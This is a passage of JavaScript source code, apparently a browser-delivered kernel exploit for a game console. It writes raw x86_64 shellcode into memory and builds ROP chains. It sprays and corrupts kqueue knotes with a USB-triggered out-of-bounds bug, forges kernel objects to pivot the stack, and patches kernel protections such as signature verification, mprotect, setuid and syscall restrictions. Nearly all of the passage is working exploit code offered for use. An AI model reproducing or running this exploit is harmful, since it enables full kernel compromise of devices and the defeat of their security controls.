(var payload_writer = p.array_from_address(payload_buffer);) 268 | //And other ways, .... 269 | 270 | //This is x86_64 asm, you can disassemble it* if you want to know what the payload loader does under the hood. (* will need to account for endianness) 271 | var loader_writer = payload_loader.backing; 272 | loader_writer[0] = 0x56415741; 273 | loader_writer[1] = 0x83485541; 274 | loader_writer[2] = 0x894818EC; 275 | loader_writer[3] = 0xC748243C; 276 | loader_writer[4] = 0x10082444; 277 | loader_writer[5] = 0x483C2302; 278 | loader_writer[6] = 0x102444C7; 279 | loader_writer[7] = 0x00000000; 280 | loader_writer[8] = 0x000002BF; 281 | loader_writer[9] = 0x0001BE00; 282 | loader_writer[10] = 0xD2310000; 283 | loader_writer[11] = 0x00009CE8; 284 | loader_writer[12] = 0xC7894100; 285 | loader_writer[13] = 0x8D48C789; 286 | loader_writer[14] = 0xBA082474; 287 | loader_writer[15] = 0x00000010; 288 | loader_writer[16] = 0x000095E8; 289 | loader_writer[17] = 0xFF894400; 290 | loader_writer[18] = 0x000001BE; 291 | loader_writer[19] = 0x0095E800; 292 | loader_writer[20] = 0x89440000; 293 | loader_writer[21] = 0x31F631FF; 294 | loader_writer[22] = 0x0062E8D2; 295 | loader_writer[23] = 0x89410000; 296 | loader_writer[24] = 0x2C8B4CC6; 297 | loader_writer[25] = 0x45C64124; 298 | loader_writer[26] = 0x05EBC300; 299 | loader_writer[27] = 0x01499848; 300 | loader_writer[28] = 0xF78944C5; 301 | loader_writer[29] = 0xBAEE894C; 302 | loader_writer[30] = 0x00001000; 303 | loader_writer[31] = 0x000025E8; 304 | loader_writer[32] = 0x7FC08500; 305 | loader_writer[33] = 0xFF8944E7; 306 | loader_writer[34] = 0x000026E8; 307 | loader_writer[35] = 0xF7894400; 308 | loader_writer[36] = 0x00001EE8; 309 | loader_writer[37] = 0x2414FF00; 310 | loader_writer[38] = 0x18C48348; 311 | loader_writer[39] = 0x5E415D41; 312 | loader_writer[40] = 0x31485F41; 313 | loader_writer[41] = 0xC748C3C0; 314 | loader_writer[42] = 0x000003C0; 315 | loader_writer[43] = 0xCA894900; 316 | loader_writer[44] = 0x48C3050F; 317 | loader_writer[45] = 0x0006C0C7; 318 | loader_writer[46] = 0x89490000; 319 | loader_writer[47] = 0xC3050FCA; 320 | loader_writer[48] = 0x1EC0C748; 321 | loader_writer[49] = 0x49000000; 322 | loader_writer[50] = 0x050FCA89; 323 | loader_writer[51] = 0xC0C748C3; 324 | loader_writer[52] = 0x00000061; 325 | loader_writer[53] = 0x0FCA8949; 326 | loader_writer[54] = 0xC748C305; 327 | loader_writer[55] = 0x000068C0; 328 | loader_writer[56] = 0xCA894900; 329 | loader_writer[57] = 0x48C3050F; 330 | loader_writer[58] = 0x006AC0C7; 331 | loader_writer[59] = 0x89490000; 332 | loader_writer[60] = 0xC3050FCA; 333 | chain.syscall(74, payload_loader, 0x4000, (0x1 | 0x2 | 0x4)); 334 | 335 | var pthread = p.malloc(0x10); 336 | // 337 | { 338 | chain.fcall(window.syscalls[203], payload_buffer, 0x300000); 339 | chain.fcall(libKernelBase.add32(OFFSET_lk_pthread_create), pthread, 0x0, payload_loader, payload_buffer); 340 | } 341 | chain.run(); 342 | 343 | 344 | awaitpl(); 345 | } 346 | 347 | function kernel() { 348 | extra_gadgets(); 349 | kchain_setup(); 350 | object_setup(); 351 | trigger_spray(); 352 | patch_once(); 353 | } 354 | 355 | var handle; 356 | var random_path; 357 | var ex_info; 358 | 359 | function load_prx(name) { 360 | //sys_dynlib_load_prx 361 | var res = chain.syscall(594, p.stringify(`/${random_path}/common/lib/${name}`), 0x0, handle, 0x0); 362 | if (res.low != 0x0) { 363 | alert("failed to load prx/get handle " + name); 364 | } 365 | //sys_dynlib_get_info_ex 366 | p.write8(ex_info, 0x1A8); 367 | res = chain.syscall(608, p.read4(handle), 0x0, ex_info); 368 | if (res.low != 0x0) { 369 | alert("failed to get module info from handle"); 370 | } 371 | var tlsinit = p.read8(ex_info.add32(0x110)); 372 | var tlssize = p.read4(ex_info.add32(0x11C)); 373 | 374 | if (tlssize != 0) { 375 | if (name == "libSceWebKit2.sprx") { 376 | tlsinit.sub32inplace(OFFSET_WK2_TLS_IMAGE); 377 | } else { 378 | alert(`${name}, tlssize is non zero. this usually indicates that this module has a tls phdr with real data. You can hardcode the imgage to base offset here if you really wish to use one of these.`); 379 | } 380 | } 381 | return tlsinit; 382 | } 383 | 384 | //Obtain extra gadgets through module loading 385 | function extra_gadgets() { 386 | handle = p.malloc(0x1E8); 387 | var randomized_path_length_ptr = handle.add32(0x4); 388 | var randomized_path_ptr = handle.add32(0x14); 389 | ex_info = randomized_path_ptr.add32(0x40); 390 | 391 | p.write8(randomized_path_length_ptr, 0x2C); 392 | chain.syscall(602, 0, randomized_path_ptr, randomized_path_length_ptr); 393 | random_path = p.readstr(randomized_path_ptr); 394 | 395 | var ipmi_addr = load_prx("libSceIpmi.sprx"); 396 | var hmd_addr = load_prx("libSceHmd.sprx"); 397 | var wk2_addr = load_prx("libSceWebKit2.sprx"); 398 | 399 | for (var gadget in hmd_gadgetmap) { 400 | window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]); 401 | } 402 | for (var gadget in wk2_gadgetmap) { 403 | window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]); 404 | } 405 | for (var gadget in ipmi_gadgetmap) { 406 | window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]); 407 | } 408 | 409 | for (var gadget in window.gadgets) { 410 | p.read8(window.gadgets[gadget]); 411 | //Ensure all gadgets are available to kernel. 412 | chain.fcall(window.syscalls[203], window.gadgets[gadget], 0x10); 413 | } 414 | chain.run(); 415 | } 416 | 417 | //Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack. 418 | function kchain_setup() { 419 | const KERNEL_busy = 0x1B28DF8; 420 | 421 | const KERNEL_bcopy = 0xACD; 422 | const KERNEL_bzero = 0x2713FD; 423 | const KERNEL_pagezero = 0x271441; 424 | const KERNEL_memcpy = 0x2714BD; 425 | const KERNEL_pagecopy = 0x271501; 426 | const KERNEL_copyin = 0x2716AD; 427 | const KERNEL_copyinstr = 0x271B5D; 428 | const KERNEL_copystr = 0x271C2D; 429 | const KERNEL_setidt = 0x312c40; 430 | const KERNEL_setcr0 = 0x1FB949; 431 | const KERNEL_Xill = 0x17d500; 432 | const KERNEL_veriPatch = 0x626874; 433 | const KERNEL_enable_syscalls_1 = 0x490; 434 | const KERNEL_enable_syscalls_2 = 0x4B5; 435 | const KERNEL_enable_syscalls_3 = 0x4B9; 436 | const KERNEL_enable_syscalls_4 = 0x4C2; 437 | const KERNEL_mprotect = 0x80B8D; 438 | const KERNEL_prx = 0x23AEC4; 439 | const KERNEL_dlsym_1 = 0x23B67F; 440 | const KERNEL_dlsym_2 = 0x221b40; 441 | const KERNEL_setuid = 0x1A06; 442 | const KERNEL_syscall11_1 = 0x1100520; 443 | const KERNEL_syscall11_2 = 0x1100528; 444 | const KERNEL_syscall11_3 = 0x110054C; 445 | const KERNEL_syscall11_gadget = 0x4c7ad; 446 | const KERNEL_mmap_1 = 0x16632A; 447 | const KERNEL_mmap_2 = 0x16632D; 448 | const KERNEL_setcr0_patch = 0x3ade3B; 449 | const KERNEL_kqueue_close_epi = 0x398991; 450 | 451 | SAVED_KERNEL_STACK_PTR = p.malloc(0x200); 452 | KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8); 453 | //negative offset of kqueue string to kernel base 454 | //0xFFFFFFFFFF86B593 0x505 455 | //0xFFFFFFFFFF80E364 0x900 456 | p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF)); 457 | 458 | kchain = new rop(); 459 | kchain2 = new rop(); 460 | //Ensure the krop stack remains available. 461 | { 462 | chain.fcall(window.syscalls[203], kchain.stackback, 0x40000); 463 | chain.fcall(window.syscalls[203], kchain2.stackback, 0x40000); 464 | chain.fcall(window.syscalls[203], SAVED_KERNEL_STACK_PTR, 0x10); 465 | } 466 | chain.run(); 467 | 468 | kchain.count = 0; 469 | kchain2.count = 0; 470 | 471 | kchain.set_kernel_var(KERNEL_BASE_PTR); 472 | kchain2.set_kernel_var(KERNEL_BASE_PTR); 473 | 474 | kchain.push(gadgets["pop rax"]); 475 | kchain.push(SAVED_KERNEL_STACK_PTR); 476 | kchain.push(gadgets["mov [rax], rdi"]); 477 | kchain.push(gadgets["pop r8"]); 478 | kchain.push(KERNEL_BASE_PTR); 479 | kchain.push(gadgets["add [r8], r12"]); 480 | 481 | //Sorry we're closed 482 | kchain.kwrite1(KERNEL_busy, 0x1); 483 | kchain.push(gadgets["sti"]); //it should be safe to re-enable interrupts now. 484 | 485 | 486 | var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt); 487 | var idx2 = kchain.write_kernel_addr_to_chain_later(KERNEL_setcr0); 488 | //Modify UD 489 | kchain.push(gadgets["pop rdi"]); 490 | kchain.push(0x6); 491 | kchain.push(gadgets["pop rsi"]); 492 | kchain.push(gadgets["mov rsp, rdi"]); 493 | kchain.push(gadgets["pop rdx"]); 494 | kchain.push(0xE); 495 | kchain.push(gadgets["pop rcx"]); 496 | kchain.push(0x0); 497 | kchain.push(gadgets["pop r8"]); 498 | kchain.push(0x0); 499 | var idx1_dest = kchain.get_rsp(); 500 | kchain.pushSymbolic(); // overwritten with KERNEL_setidt 501 | 502 | kchain.push(gadgets["pop rsi"]); 503 | kchain.push(0x80040033); 504 | kchain.push(gadgets["pop rdi"]); 505 | kchain.push(kchain2.stack); 506 | var idx2_dest = kchain.get_rsp(); 507 | kchain.pushSymbolic(); // overwritten with KERNEL_setcr0 508 | 509 | kchain.finalizeSymbolic(idx1, idx1_dest); 510 | kchain.finalizeSymbolic(idx2, idx2_dest); 511 | 512 | 513 | //Initial patch(es) 514 | kchain2.kwrite2(KERNEL_veriPatch, 0x9090); 515 | kchain2.kwrite1(KERNEL_bcopy, 0xEB); 516 | //might as well do the others 517 | kchain2.kwrite1(KERNEL_bzero, 0xEB); 518 | kchain2.kwrite1(KERNEL_pagezero, 0xEB); 519 | kchain2.kwrite1(KERNEL_memcpy, 0xEB); 520 | kchain2.kwrite1(KERNEL_pagecopy, 0xEB); 521 | kchain2.kwrite1(KERNEL_copyin, 0xEB); 522 | kchain2.kwrite1(KERNEL_copyinstr, 0xEB); 523 | kchain2.kwrite1(KERNEL_copystr, 0xEB); 524 | 525 | //I guess you're not all that bad... 526 | kchain2.kwrite1(KERNEL_busy, 0x0); //it should now be safe to handle timer-y interrupts again 527 | 528 | //Restore original UD 529 | var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill); 530 | var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt); 531 | kchain2.push(gadgets["pop rdi"]); 532 | kchain2.push(0x6); 533 | kchain2.push(gadgets["pop rsi"]); 534 | var idx3_dest = kchain2.get_rsp(); 535 | kchain2.pushSymbolic(); // overwritten with KERNEL_Xill 536 | kchain2.push(gadgets["pop rdx"]); 537 | kchain2.push(0xE); 538 | kchain2.push(gadgets["pop rcx"]); 539 | kchain2.push(0x0); 540 | kchain2.push(gadgets["pop r8"]); 541 | kchain2.push(0x0); 542 | var idx4_dest = kchain2.get_rsp(); 543 | kchain2.pushSymbolic(); // overwritten with KERNEL_setidt 544 | 545 | kchain2.finalizeSymbolic(idx3, idx3_dest); 546 | kchain2.finalizeSymbolic(idx4, idx4_dest); 547 | 548 | //Apply kernel patches 549 | kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000); 550 | //patch in reverse because /shrug 551 | kchain2.kwrite1(KERNEL_enable_syscalls_4, 0xEB); 552 | kchain2.kwrite2(KERNEL_enable_syscalls_3, 0x9090); 553 | kchain2.kwrite2(KERNEL_enable_syscalls_2, 0x9090); 554 | 555 | kchain2.kwrite1(KERNEL_setuid, 0xEB); 556 | kchain2.kwrite4(KERNEL_mprotect, 0x00000000); 557 | kchain2.kwrite2(KERNEL_prx, 0xE990); 558 | kchain2.kwrite1(KERNEL_dlsym_1, 0xEB); 559 | kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148); 560 | 561 | kchain2.kwrite1(KERNEL_mmap_1, 0x37); 562 | kchain2.kwrite1(KERNEL_mmap_2, 0x37); 563 | 564 | kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002); 565 | kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget); 566 | kchain2.kwrite4(KERNEL_syscall11_3, 0x00000001); 567 | 568 | //Restore CR0 569 | kchain2.kwrite4(KERNEL_setcr0_patch, 0xC3C7220F); 570 | var idx5 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setcr0_patch); 571 | kchain2.push(gadgets["pop rdi"]); 572 | kchain2.push(0x80050033); 573 | var idx5_dest = kchain2.get_rsp(); 574 | kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch 575 | kchain2.finalizeSymbolic(idx5, idx5_dest); 576 | 577 | //Recover 578 | kchain2.rax_kernel(KERNEL_kqueue_close_epi); 579 | kchain2.push(gadgets["mov rdx, rax"]); 580 | kchain2.push(gadgets["pop rsi"]); 581 | kchain2.push(SAVED_KERNEL_STACK_PTR); 582 | kchain2.push(gadgets["mov rax, [rsi]"]); 583 | kchain2.push(gadgets["pop rcx"]); 584 | kchain2.push(0x10); 585 | kchain2.push(gadgets["add rax, rcx"]); 586 | kchain2.push(gadgets["mov [rax], rdx"]); 587 | kchain2.push(gadgets["pop rdi"]); 588 | var idx6 = kchain2.pushSymbolic(); 589 | kchain2.push(gadgets["mov [rdi], rax"]); 590 | kchain2.push(gadgets["sti"]); 591 | kchain2.push(gadgets["pop rsp"]); 592 | var idx6_dest = kchain2.get_rsp(); 593 | kchain2.pushSymbolic(); // overwritten with old stack pointer 594 | kchain2.finalizeSymbolic(idx6, idx6_dest); 595 | } 596 | 597 | function object_setup() { 598 | //Map fake object 599 | var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1010, 0xFFFFFFFF, 0x0); 600 | var fake_filtops = fake_knote.add32(0x4000); 601 | var fake_obj = fake_knote.add32(0x8000); 602 | if (fake_knote.low != 0x4000) { 603 | alert("enomem: " + fake_knote); 604 | while (1); 605 | } 606 | //setup fake object 607 | //KNOTE 608 | { 609 | p.write8(fake_knote, fake_obj); 610 | p.write8(fake_knote.add32(0x68), fake_filtops) 611 | } 612 | //FILTOPS 613 | { 614 | p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret 615 | p.write8(fake_filtops.add32(0x0), gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]); //xchg rdi, rsp ; call qword ptr [rsi - 0x79] 616 | p.write8(fake_filtops.add32(0x8), kchain.stack); 617 | p.write8(fake_filtops.add32(0x10), gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30] 618 | } 619 | //OBJ 620 | { 621 | p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax] 622 | } 623 | //Ensure the fake knote remains available 624 | chain.syscall(203, fake_knote, 0xC000); 625 | } 626 | 627 | var trigger_spray = function () { 628 | 629 | var NUM_KQUEUES = 0x1B0; 630 | var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4); 631 | //Make kqueues 632 | { 633 | for (var i = 0; i < NUM_KQUEUES; i++) { 634 | chain.fcall(window.syscalls[362]); 635 | chain.write_result4(kqueue_ptr.add32(0x4 * i)); 636 | } 637 | } 638 | chain.run(); 639 | var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES); 640 | 641 | var that_one_socket = chain.syscall(97, 2, 1, 0); 642 | if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) { 643 | alert("invalid socket"); 644 | while (1); 645 | } 646 | 647 | //Spray kevents 648 | var kevent = p.malloc(0x20); 649 | p.write8(kevent.add32(0x0), that_one_socket); 650 | p.write4(kevent.add32(0x8), 0xFFFF + 0x010000); 651 | p.write4(kevent.add32(0xC), 0x0); 652 | p.write8(kevent.add32(0x10), 0x0); 653 | p.write8(kevent.add32(0x18), 0x0); 654 | // 655 | { 656 | for (var i = 0; i < NUM_KQUEUES; i++) { 657 | chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0); 658 | } 659 | } 660 | chain.run(); 661 | 662 | 663 | 664 | //Fragment memory 665 | { 666 | for (var i = 18; i < NUM_KQUEUES; i += 2) { 667 | chain.fcall(window.syscalls[6], kqueues[i]); 668 | } 669 | } 670 | chain.run(); 671 | 672 | //Trigger OOB 673 | alert("Insert USB now. do not close the dialog until notification pops, remove usb after closing it."); 674 | //Trigger corrupt knote 675 | { 676 | for (var i = 1; i < NUM_KQUEUES; i += 2) { 677 | chain.fcall(window.syscalls[6], kqueues[i]); 678 | } 679 | } 680 | chain.run(); 681 | 682 | if (chain.syscall(23, 0).low == 0) { 683 | { 684 | //cleanup fake knote & release locked gadgets/stack. 685 | chain.fcall(window.syscalls[73], 0x4000, 0xC000); 686 | chain.fcall(window.syscalls[325]); 687 | } 688 | chain.run(); 689 | return; 690 | } 691 | alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all. 692 | if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on. 693 | closing this alert will crash the browser for you.`); 694 | p.write8(0, 0); 695 | return; 696 | } 697 | 698 | //This disables sysveri, see patch.s for more info 699 | var patch_once = function () { 700 | 701 | var patch_buffer = chain.syscall(477, 0x0, 0x4000, 0x7, 0x1000, 0xFFFFFFFF, 0); 702 | var patch_buffer_view = p.array_from_address(patch_buffer, 0x1000); 703 | 704 | patch_buffer_view[0] = 0x00000BB8; 705 | patch_buffer_view[1] = 0xFE894800; 706 | patch_buffer_view[2] = 0x033D8D48; 707 | patch_buffer_view[3] = 0x0F000000; 708 | patch_buffer_view[4] = 0x4855C305; 709 | patch_buffer_view[5] = 0x8B48E589; 710 | patch_buffer_view[6] = 0x95E8087E; 711 | patch_buffer_view[7] = 0xE8000000; 712 | patch_buffer_view[8] = 0x00000175; 713 | patch_buffer_view[9] = 0x033615FF; 714 | patch_buffer_view[10] = 0x8B480000; 715 | patch_buffer_view[11] = 0x0003373D; 716 | patch_buffer_view[12] = 0x3F8B4800; 717 | patch_buffer_view[13] = 0x74FF8548; 718 | patch_buffer_view[14] = 0x3D8D48EB; 719 | patch_buffer_view[15] = 0x0000029D; 720 | patch_buffer_view[16] = 0xF9358B48; 721 | patch_buffer_view[17] = 0x48000002; 722 | patch_buffer_view[18] = 0x0322158B; 723 | patch_buffer_view[19] = 0x8B480000; 724 | patch_buffer_view[20] = 0x00D6E812; 725 | patch_buffer_view[21] = 0x8D480000; 726 | patch_buffer_view[22] = 0x00029F3D; 727 | patch_buffer_view[23] = 0x358B4800; 728 | patch_buffer_view[24] = 0x000002E4; 729 | patch_buffer_view[25] = 0x05158B48; 730 | patch_buffer_view[26] = 0x48000003; 731 | patch_buffer_view[27] = 0xB9E8128B; 732 | patch_buffer_view[28] = 0x48000000; 733 | patch_buffer_view[29] = 0x02633D8D; 734 | patch_buffer_view[30] = 0x8B480000; 735 | patch_buffer_view[31] = 0x0002BF35; 736 | patch_buffer_view[32] = 0x158B4800; 737 | patch_buffer_view[33] = 0x000002C8; 738 | patch_buffer_view[34] = 0xE8128B48; 739 | patch_buffer_view[35] = 0x0000009C; 740 | patch_buffer_view[36] = 0x7A3D8D48; 741 | patch_buffer_view[37] = 0x48000002; 742 | patch_buffer_view[38] = 0x02AA358B; 743 | patch_buffer_view[39] = 0x8B480000; 744 | patch_buffer_view[40] = 0x0002AB15; 745 | patch_buffer_view[41] = 0x128B4800; 746 | patch_buffer_view[42] = 0x00007FE8; 747 | patch_buffer_view[43] = 0x0185E800; 748 | patch_buffer_view[44] = 0xC35D0000; 749 | patch_buffer_view[45] = 0x6D3D8948; 750 | patch_buffer_view[46] = 0x48000002; 751 | patch_buffer_view[47] = 0x026E3D01; 752 | patch_buffer_view[48] = 0x01480000; 753 | patch_buffer_view[49] = 0x00026F3D; 754 | patch_buffer_view[50] = 0x3D014800; 755 | patch_buffer_view[51] = 0x00000270; 756 | patch_buffer_view[52] = 0x713D0148; 757 | patch_buffer_view[53] = 0x48000002; 758 | patch_buffer_view[54] = 0x02723D01; 759 | patch_buffer_view[55] = 0x01480000; 760 | patch_buffer_view[56] = 0x0002933D; 761 | patch_buffer_view[57] = 0x3D014800; 762 | patch_buffer_view[58] = 0x00000294; 763 | patch_buffer_view[59] = 0x653D0148; 764 | patch_buffer_view[60] = 0x48000002; 765 | patch_buffer_view[61] = 0x02663D01; 766 | patch_buffer_view[62] = 0x01480000; 767 | patch_buffer_view[63] = 0x0002873D; 768 | patch_buffer_view[64] = 0x3D014800; 769 | patch_buffer_view[65] = 0x00000288; 770 | patch_buffer_view[66] = 0x893D0148; 771 | patch_buffer_view[67] = 0x48000002; 772 | patch_buffer_view[68] = 0x028A3D01; 773 | patch_buffer_view[69] = 0x01480000; 774 | patch_buffer_view[70] = 0x00028B3D; 775 | patch_buffer_view[71] = 0x3D014800; 776 | patch_buffer_view[72] = 0x0000024C; 777 | patch_buffer_view[73] = 0x3D3D0148; 778 | patch_buffer_view[74] = 0xC3000002; 779 | patch_buffer_view[75] = 0xE5894855; 780 | patch_buffer_view[76] = 0x10EC8348; 781 | patch_buffer_view[77] = 0x24348948; 782 | patch_buffer_view[78] = 0x24548948; 783 | patch_buffer_view[79] = 0xED15FF08; 784 | patch_buffer_view[80] = 0x48000001; 785 | patch_buffer_view[81] = 0x4B74C085; 786 | patch_buffer_view[82] = 0x48C28948; 787 | patch_buffer_view[83] = 0x4840408B; 788 | patch_buffer_view[84] = 0x2F74C085; 789 | patch_buffer_view[85] = 0x28788B48; 790 | patch_buffer_view[86] = 0x243C3B48; 791 | patch_buffer_view[87] = 0x8B480A74; 792 | patch_buffer_view[88] = 0xC0854800; 793 | patch_buffer_view[89] = 0xECEB1D74; 794 | patch_buffer_view[90] = 0x18788B48; 795 | patch_buffer_view[91] = 0x74FF8548; 796 | patch_buffer_view[92] = 0x7F8B48ED; 797 | patch_buffer_view[93] = 0x7C3B4810; 798 | patch_buffer_view[94] = 0xE2750824; 799 | patch_buffer_view[95] = 0xFF1040C7; 800 | patch_buffer_view[96] = 0x48FFFFFF; 801 | patch_buffer_view[97] = 0x31107A8D; 802 | patch_buffer_view[98] = 0x31D231F6; 803 | patch_buffer_view[99] = 0xA515FFC9; 804 | patch_buffer_view[100] = 0x48000001; 805 | patch_buffer_view[101] = 0x5D10C483; 806 | patch_buffer_view[102] = 0x894855C3; 807 | patch_buffer_view[103] = 0xC0200FE5; 808 | patch_buffer_view[104] = 0xFFFF2548; 809 | patch_buffer_view[105] = 0x220FFFFE; 810 | patch_buffer_view[106] = 0x3D8B48C0; 811 | patch_buffer_view[107] = 0x000001C8; 812 | patch_buffer_view[108] = 0x909007C7; 813 | patch_buffer_view[109] = 0x47C79090; 814 | patch_buffer_view[110] = 0x48909004; 815 | patch_buffer_view[111] = 0x358B48B8; 816 | patch_buffer_view[112] = 0x000001AC; 817 | patch_buffer_view[113] = 0x08778948; 818 | patch_buffer_view[114] = 0x651047C7; 819 | patch_buffer_view[115] = 0xC73C8B48; 820 | patch_buffer_view[116] = 0x00251447; 821 | patch_buffer_view[117] = 0x47C70000; 822 | patch_buffer_view[118] = 0x89480018; 823 | patch_buffer_view[119] = 0x1C47C738; 824 | patch_buffer_view[120] = 0xB8489090; 825 | patch_buffer_view[121] = 0x7D358B48; 826 | patch_buffer_view[122] = 0x48000001; 827 | patch_buffer_view[123] = 0xC7207789; 828 | patch_buffer_view[124] = 0xC7482847; 829 | patch_buffer_view[125] = 0x47C70100; 830 | patch_buffer_view[126] = 0x0000002C; 831 | patch_buffer_view[127] = 0x778D48E9; 832 | patch_buffer_view[128] = 0x158B4834; 833 | patch_buffer_view[129] = 0x00000150; 834 | patch_buffer_view[130] = 0x89F22948; 835 | patch_buffer_view[131] = 0x8B483057; 836 | patch_buffer_view[132] = 0x00016B35; 837 | patch_buffer_view[133] = 0x568D4800; 838 | patch_buffer_view[134] = 0xD7294805; 839 | patch_buffer_view[135] = 0xC148FF89; 840 | patch_buffer_view[136] = 0x814808E7; 841 | patch_buffer_view[137] = 0x0000E9CF; 842 | patch_buffer_view[138] = 0x3E894800; 843 | patch_buffer_view[139] = 0x00000D48; 844 | patch_buffer_view[140] = 0x220F0001; 845 | patch_buffer_view[141] = 0x55C35DC0; 846 | patch_buffer_view[142] = 0x0FE58948; 847 | patch_buffer_view[143] = 0x2548C020; 848 | patch_buffer_view[144] = 0xFFFEFFFF; 849 | patch_buffer_view[145] = 0x48C0220F; 850 | patch_buffer_view[146] = 0x013A3D8B; 851 | patch_buffer_view[147] = 0x07C70000; 852 | patch_buffer_view[148] = 0x00C3C031; 853 | patch_buffer_view[149] = 0x353D8B48; 854 | patch_buffer_view[150] = 0xC7000001; 855 | patch_buffer_view[151] = 0xC3C03107; 856 | patch_buffer_view[152] = 0x3D8B4800; 857 | patch_buffer_view[153] = 0x00000130; 858 | patch_buffer_view[154] = 0xC03107C7; 859 | patch_buffer_view[155] = 0x8B4800C3; 860 | patch_buffer_view[156] = 0x00012B3D; 861 | patch_buffer_view[157] = 0x3107C700; 862 | patch_buffer_view[158] = 0x4800C3C0; 863 | patch_buffer_view[159] = 0x00A63D8B; 864 | patch_buffer_view[160] = 0x87C70000; 865 | patch_buffer_view[161] = 0x001F1E01; 866 | patch_buffer_view[162] = 0x9090F631; 867 | patch_buffer_view[163] = 0x1E0587C7; 868 | patch_buffer_view[164] = 0xC931001F; 869 | patch_buffer_view[165] = 0x87C79090; 870 | patch_buffer_view[166] = 0x001F1E09; 871 | patch_buffer_view[167] = 0x9090D231; 872 | patch_buffer_view[168] = 0x1E3E87C7; 873 | patch_buffer_view[169] = 0xC931001F; 874 | patch_buffer_view[170] = 0x0D489090; 875 | patch_buffer_view[171] = 0x00010000; 876 | patch_buffer_view[172] = 0xFFC0220F; 877 | patch_buffer_view[173] = 0x0000EF15; 878 | patch_buffer_view[174] = 0xC0200F00; 879 | patch_buffer_view[175] = 0xFFFF2548; 880 | patch_buffer_view[176] = 0x220FFFFE; 881 | patch_buffer_view[177] = 0x3D8B48C0; 882 | patch_buffer_view[178] = 0x000000DC; 883 | patch_buffer_view[179] = 0xC03107C7; 884 | patch_buffer_view[180] = 0x0D4800C3; 885 | patch_buffer_view[181] = 0x00010000; 886 | patch_buffer_view[182] = 0x5DC0220F; 887 | patch_buffer_view[183] = 0x737973C3; 888 | patch_buffer_view[184] = 0x5F6D6574; 889 | patch_buffer_view[185] = 0x70737573; 890 | patch_buffer_view[186] = 0x5F646E65; 891 | patch_buffer_view[187] = 0x73616870; 892 | patch_buffer_view[188] = 0x705F3265; 893 | patch_buffer_view[189] = 0x735F6572; 894 | patch_buffer_view[190] = 0x00636E79; 895 | patch_buffer_view[191] = 0x74737973; 896 | patch_buffer_view[192] = 0x725F6D65; 897 | patch_buffer_view[193] = 0x6D757365; 898 | patch_buffer_view[194] = 0x68705F65; 899 | patch_buffer_view[195] = 0x32657361; 900 | patch_buffer_view[196] = 0x73797300; 901 | patch_buffer_view[197] = 0x5F6D6574; 902 | patch_buffer_view[198] = 0x75736572; 903 | patch_buffer_view[199] = 0x705F656D; 904 | patch_buffer_view[200] = 0x65736168; 905 | patch_buffer_view[201] = 0x90900033; 906 | patch_buffer_view[202] = 0x00000000; 907 | patch_buffer_view[203] = 0x00000000; 908 | patch_buffer_view[204] = 0x000F88F0; 909 | patch_buffer_view[205] = 0x00000000; 910 | patch_buffer_view[206] = 0x002EF170; 911 | patch_buffer_view[207] = 0x00000000; 912 | patch_buffer_view[208] = 0x00018DF0; 913 | patch_buffer_view[209] = 0x00000000; 914 | patch_buffer_view[210] = 0x00018EF0; 915 | patch_buffer_view[211] = 0x00000000; 916 | patch_buffer_view[212] = 0x02654110; 917 | patch_buffer_view[213] = 0x00000000; 918 | patch_buffer_view[214] = 0x00097230; 919 | patch_buffer_view[215] = 0x00000000; 920 | patch_buffer_view[216] = 0x00402E60; 921 | patch_buffer_view[217] = 0x00000000; 922 | patch_buffer_view[218] = 0x01520108; 923 | patch_buffer_view[219] = 0x00000000; 924 | patch_buffer_view[220] = 0x01520100; 925 | patch_buffer_view[221] = 0x00000000; 926 | patch_buffer_view[222] = 0x00462D20; 927 | patch_buffer_view[223] = 0x00000000; 928 | patch_buffer_view[224] = 0x00462DFC; 929 | patch_buffer_view[225] = 0x00000000; 930 | patch_buffer_view[226] = 0x006259A0; 931 | patch_buffer_view[227] = 0x00000000; 932 | patch_buffer_view[228] = 0x006268D0; 933 | patch_buffer_view[229] = 0x00000000; 934 | patch_buffer_view[230] = 0x00625DC0; 935 | patch_buffer_view[231] = 0x00000000; 936 | patch_buffer_view[232] = 0x00626290; 937 | patch_buffer_view[233] = 0x00000000; 938 | patch_buffer_view[234] = 0x00626720; 939 | patch_buffer_view[235] = 0x00000000; 940 | //lock payload / call payload / release payload 941 | { 942 | chain.fcall(window.syscalls[203], patch_buffer, 0x4000); 943 | chain.fcall(patch_buffer, p.read8(KERNEL_BASE_PTR)); 944 | chain.fcall(window.syscalls[73], patch_buffer, 0x4000); 945 | } 946 | chain.run(); 947 | } --------------------------------------------------------------------------------